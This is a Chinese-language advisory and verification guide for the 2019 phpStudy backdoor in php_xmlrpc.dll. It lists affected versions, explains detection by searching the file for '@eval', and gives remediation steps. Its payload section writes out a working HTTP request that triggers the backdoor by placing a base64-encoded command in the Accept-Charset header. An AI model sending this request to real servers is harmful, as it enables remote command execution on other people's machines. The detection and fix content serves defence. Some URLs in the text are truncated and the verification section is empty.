phpstudy后门任意代码执⾏漏洞验证
⼀.详细描述
Phpstudy是⼀款免费的PHP调试环境的程序集成包。该程序包集成Apache、PHP、MySQL、phpMyAdmin、ZendOptimizer多款软件,⼀次性安装,⽆需配置即可直接使⽤,具有PHP环境调试和PHP开发功能,在国内有着近百万的PHP语⾔学习者和开发者⽤户。
2019年9⽉20⽇,⽹曝⾮官⽹的⼀些下载站中的phpstudy版本存在后门⽂件,该后门可以造成远程PHP代码执⾏、执⾏操作系统命令、内⽹渗透、数据泄露等危害。PhpStudy后门代码存在于extphp_xmlrpc.dll模块中,只要php成功加载了该后门⽂件,攻击者仅仅需要构造对应后门的请求头便可以触发后门,执⾏任意系统命令。
⼆.⽬前已知受影响的phpstudy版本
phpstudy 2016版php-5.4
phpstudy 2018版php-5.2.17
phpstudy 2018版php-5.4.45
用phpstudy搭建网站
三.后门检测分析
通过分析,后门代码存在于\ext\php_xmlrpc.dll模块中
phpStudy2016路径
php\php-5.2.17\ext\php_xmlrpc.dll
php\php-5.4.45\ext\php_xmlrpc.dll
phpStudy2018路径
PHPTutorial\php\php-5.2.17\ext\php_xmlrpc.dll
PHPTutorial\php\php-5.4.45\ext\php_xmlrpc.dll
⽤⽂本编辑器打开此⽂件查@eval,⽂件存在@eval(%s(‘%s’))证明漏洞存在,如图:
四.构造payload
burp抓包,构造payload
GET /index.php HTTP/1.1
Host: yourip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.25 Safari/537.36 Core/1.70.3730.400 QQBrowser/10.5.3805.400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip,deflate
Accept-Charset:这⾥就是你要执⾏的代码命令(经过base64加密)
Accept-Language: zh-CN,zh;q=0.9
Connection: close
注: Accept-Encoding要把gzip, deflate ⾥逗号后⾯的空格去掉,不然命令执⾏不成功
Accept-Charset 的值就是执⾏的命令, 需要进⾏base64编码
五.漏洞验证
六.解决办法
1.在官⽅⽹站下载phpstudy进⾏更新。
⽬前,phpstudy官⽹上的版本不存在后门,可从phpsudy官⽹下载安装包进⾏更新:www.xp/。
2.替换存在后门的php_xmlrpc.dll⽂件。
从PHP官⽹下载原始php-5.4.45版本或php-5.2.17版本,使⽤这些版本中的php_xmlrpc.dll替换原来存在后门的php_xmlrpc.dll⽂件:
windows.php/downloads/releases/archives/php-5.2.17-Win32-VC6-x86.zip
windows.php/downloads/releases/archives/php-5.4.45-Win32-VC9-x86.zip